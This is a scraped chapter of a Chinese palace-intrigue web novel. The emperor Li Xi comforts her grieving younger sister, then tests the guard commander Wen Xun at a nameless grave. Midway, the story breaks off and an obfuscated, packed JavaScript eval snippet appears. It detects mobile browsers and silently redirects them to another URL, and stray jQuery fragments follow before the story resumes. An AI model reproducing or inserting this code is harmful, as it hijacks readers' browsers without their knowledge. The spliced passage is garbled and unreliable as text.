58. 母女之间
作品:《傀儡女帝她不想装了》 李希并未想到姚婴那头来人会这样快,她本是窝在长明宫的院落里,悠哉悠哉的等着李琼从里头出来。听得宫人来为姚婴传话时,她面上的笑登时便挂不住了:
“你说李零在祖母宫中?还刚好什么都听到了?”
她忍耐的闭了闭眼:
“祖母都多大的人了?有些话要避着小孩子,祖母连这个道理都不懂吗?”
她这话宫人不敢回答,只觉得皇帝和太皇太后说话,越发的没大没小了。
李希疲倦的揉了揉眉心,事已至此,也只能去解决了。
可她预料的兵荒马乱乱却并未发生。
赶到长乐宫时,李零正轻声给姚婴读着她的课业,夕阳的余晖下那场面宁静而悠然,分毫看不出底下的波澜。
李希对上姚婴的目光,看出她眼中有和她同等的迷惑。
李希走上前,小心翼翼地在李零身侧坐下。
面对她这极为可疑的杀母仇人,李零却仿若平常一样,低低行了一个礼,随即平静的转回头,继续投入到课业之中。
李希和姚婴不停的交换着神色,显然并未能彼此交换出一个决定来。
李零似乎察觉出大人们之间沉默的暗流涌动,终于停笔,抬头望来。李希与姚婴便同时收回目光,齐齐看向她,三人便这样沉默着面面相觑。
少顷,李希受不住这沉默,轻声清了清嗓子,终于开口道:
“你……要去为她守灵吗?”
话毕,却见李零的面上浮现出一丝疑惑。
“我以为……母亲尊位已废,身上还背着罪责,是不能在宫中停灵的。”
这下换李希一愣。她不曾想到,比起已经当了二十年年大魏公主的李琼,小小年纪的李零,却是记着律例的那一个。
但此刻那不是要点。
要点是,如今的李零是一个刚失去母亲的小姑娘。
“如果你想再见见她,总归是有办法的。”
她话音未落,就见一直分外平静的李零,眼眶缓缓染红涌上莹光,一滴又一滴的泪珠重重垂落。
李希心头闷闷的,朝李零张开双臂。未料到李零却垂着泪眼,收回目光,缓缓的摇了摇头。
李希心里猛的一沉,耳边听李零说道:
“律例不可违。而且……四娘知道陛下想安慰四娘,可四娘不配被安慰。”
李希一惊,她本以为李零拒绝是因为开始讨厌她这个阿姐了,却没料到她话语中的意思分明是自厌。
于是她转而摸了摸她的头。
“告诉阿姐,四娘为什么这样说?”
李零抬起头来,通红着眼眶,眼中却是一片空茫。
“陛下,四娘是一个没有良心的女郎。”她又垂下头,“母亲生养四娘、教导四娘,如今母亲离世,四娘理应痛彻心扉,可不知为何……”
她说着便是一梗,又滴滴地落泪。
“没有感觉,”说罢,她仿佛再不能忍耐,竟从无声的低泣转为嚎啕,“我没有感觉!阿姐,我是不是坏掉了?我甚至……
“我甚至有一瞬间松了一口气。阿姐,四娘太坏!”
李零的哭嚎声中,李希与姚婴对视了一眼,双双不知如何作答。
终于李希捧起李零的小脸,轻轻擦拭她滚落的泪珠,低声抚慰道:
“四娘不坏,四娘很好。四娘只是还没有想明白要不要伤心。”
李零终于抬眼回望过来,眼神中有显而易见的疑惑:
“伤心是需要想明白的吗?需要想明白的伤心还是真心吗?”
李希又摸、摸她的头。
“有些人需要,有些人不需要,四娘只是刚好属于需要的那一类而已。这并不是什么错处。你需要想明白你失去了什么,也需要想明白从前她活着是意味着什么,如今她离开了又意味着什么。即便想明白了依然不难过,也不是什么大事。”
闻言李零却扁了扁嘴,一副又要哭出来的模样。
“可是我不敢想。”
李希隐隐感觉抓住了些什么。
不过豆蔻之年的李零,向来情绪浅淡的如同一缕青烟。不曾深交时,总觉得她或许天生情绪淡漠,或是有些呆傻,如今看来却像是有些别的什么,致使她始终在压抑与克制。
得知陶氏死讯的那一刻,她所感知到的那一瞬的松懈,兴许就是那层枷锁正欲松开的时刻。而当枷锁彻底脱落时,她将需要面临所有过往倾泻而来的情绪,或许也就包含了她此时此刻预期之中的悲伤,也或许什么都没有。
但无论如何,没有人有资格评判她,连她自己也不应当。
此刻的李零既期待着能如同常人所期待的那样充满悲伤,同时又本能的恐惧面对。
李希只能倾身将她拥入怀中。
“没关系的,四娘。都没有关系。”
李希轻拍着李零的脊背安抚,终于叫她在怀中安静的睡去。
宫人将她抱回寝殿内歇息,楼阁内便只剩李希与姚婴祖孙二人相对而坐。
“那陶氏不知教了她些什么,小小一个孩子,连生母去世都本能的压抑感情。”姚婴一边抿着茶水,一边痛斥。
李希却意外的没有附和,反而她岔开话题说道:
“祖母往日里都给四娘布置哪些课业?大魏律例修习得多吗?”
起初不曾领会她为何突然问到这个,稍作思索便恍然大悟。
“你的意思是?”
李希点了点头。
“四娘兴许在律法上颇有天赋。她不仅心中铭记,且时刻有遵循与劝谏之心。方才她劝我时那个眼神,祖母可瞧见了?可凶可凶了!”
姚婴闻言白了她一眼。
“该的你!”
李希笑笑,又整肃了面容:
“总之,不论四娘如今这压抑性情是由陶氏所教,还是她天性使然。她如今的年岁想要改,怕也不是易事。但倘若她的长处是在于律例,这等性情便未必不是一个天赐的优点。”
说罢,她看向点头认同的姚婴。
“如此便劳驾祖母了。”
姚婴一愣,这才回过味儿来,敢情她说这么多,其实其实惦记着让她兼任了李零的律法老师。
姚婴眯了眯眼:
“好你个李不闻,连我一个老婆子都不放过,鼓弄得人没完没了的帮你做事。”不过这都是小事。
关于真正的大事,此刻李零离场,祖母二人此刻才腾出功夫来提及。
“想好怎么解释了吗?”姚婴问。
李希却装傻说道:
“解释什么?听闻晁邝已经和祖母禀报过了,祖母不是也念他救驾有功,算作将功补过了吗?”
姚婴淡淡地收回眼:
“你知道我在说什么。”
李希长长一叹:
“没错,祖母,我从一开始就没打算容她继续活着。此前我说认同祖母的处置,也不过都是哄你的。可我仍需告诉祖母。眼下陶氏的死法并不是我为她挑的。
“她本已处在幽禁之中,如若是我谋算,必定为她挑个更为稳妥的死法,而不是如今这般突兀又仓促。毕竟我如今有的是时间。”
姚婴一瞬不瞬地望入李希眼中,脑中更急速思索,思来想去竟觉得她的说法颇为有理,可如此轻轻放过,又总觉得有哪里不妥。
“你始终不肯放过她,当真是因为徐美人之死,还有你年幼失散的仇?”
这回轮到李希摆出一副怀疑的神情。
“祖母以为呢?我同她之间还有旁的仇怨吗?”
姚婴收回目光。这便是问题所在了。
李希一介凭空上位的失宠公主,与陶氏堂堂继后之间,应当难有别的内情才对。
她一时想不透,便也只好干脆认了李希的说法。
李希瞥她的神情,便知这一关算是过去了。
可谈及徐美人,李希难免又要想起如今还查不出前情的温逊。
连姚婴都认同她对徐美人之死的在意,凭什么温逊能看出她毫不在乎?</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16825845|184013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她按下心情,却打定主意温逊之事不可再拖了,无论掖庭是否能查知事情,她必须亲身出马,试探温逊的筹码。
最好的法子,便是利用她所已知的,温逊对她的情思。
次日一早,李希宣旨罢了当日内朝,自己则出了宫,带着一行羽林卫,驱车赶往京郊。
温逊身为职守皇城的卫尉,女帝出宫必然是最先知晓。而眼下陶氏刚倒,京中正值多事之秋。听闻这消息,他当下便心乱了,赶忙领上一行卫军追上随扈。
李希的车马在一座荒山脚下停下,下车时温逊等人刚巧跑马追抵。
李希回头望见时微露一丝愕然。
“你怎么来了?”
温逊严正道:
“臣恐陛下此时出宫护卫不足,特来增补。”
李希看起来仍是一副恹恹的样子,此时点点头:
“既如此,那便跟着吧。”
随后她熟门熟路的朝山中爬去。半个时辰后,她在那荒山的山腰处停步,再转身向内数百步,忽见杂草丛生的乱石堆中,出现一块碎石堆砌而成的石碑。
那上头并未刻字,却显然是一个有主的坟。
李希在碑前站定。此时随侍与护卫都已被摒退,唯留下她与温逊立在石碑之前。
“她姓崔。”她忽然没头没脑的说道,“你知道她吗?”
温逊怔愣之际,并未发现李希深沉的目光已经定定落在他面上,正仔细研判他每一丝表情。
待他回神之时,她已经收回目光,并清晰地觉察,他很清楚她说的是何人。
“想必你是不知的,”她嘴上却道,“你站得高,素来俯瞰着整个宫禁,而她太过渺小,离你太远了。”
温逊张了张口想说些什么,终是没有出声。
此时李希苦涩地轻笑。
“你那日问我是否还要为徐美人追封太后,但你可知,我真正想奉为太后的另有其人。”她蹲下、身轻抚那座杂乱的石碑,“她才是我的母亲。”
闻言,温逊面上露出一丝复杂的神色。
“她对你而言很重要吗?”
李希默然不答,但她面对着石碑单薄的身影,似乎已经说明了一切。
她转过身时,正瞧见温逊脸上一闪而过的痛惜,心中越发笃定,温逊对她的过往所知颇多。只怕远比她想象的还要多。
她收敛了神色,继续演这场戏。
“在掖庭中的十年,是她倾尽一切教养我。而直到她离开,我也未能弄明白,她究竟为何对我那样好?便是更早就在她身边的人,也从不曾得到她那样的重视。你也帮我猜猜,她是为什么?”
温逊直觉她似乎话里有话,但却罕见的对她的意图毫无头绪。
“或许,因为觉得陛下是个可造之材?”
李希闻言轻笑,似嘲似讽。
“我刚到掖庭时还是个痴儿。”
“可是三岁之后……”许是她的神情太过哀切,叫温逊太急于去安抚,他的话接的太快,以至于说过了才惊觉不妥。
他回神对上李希的双眸。
“三岁之后?君侯的意思是,三岁之时发生了什么特别之事?可我记得,我是四岁时才开了心窍。君侯……”她破碎的神情顿时消失的一干二净,此时望向温逊的双眼冷冽而尖锐,“你又是从何处听闻,怕不是听错了吧??”
这一次,温逊闭口不答。他忽然意识到,今日突然出宫,又绕了这么大一个圈子,只怕就是为了引出他方才的失误。
果然,如今既已戳破,李希便不再演了,此时冷冷一笑:
“你不说?不说也无防,我自会去查。”
怎料,温逊闻言却叹了口气:
“陛下,不必查,你也查不到的。”
“这世上只要有所为便必然会留下痕迹,哪有什么查不到的事?”李希沉声道。
然而这话并未能动摇温逊。相反,他分外认真地与李希四目相对:
“倘若并非发生在这一世呢。”

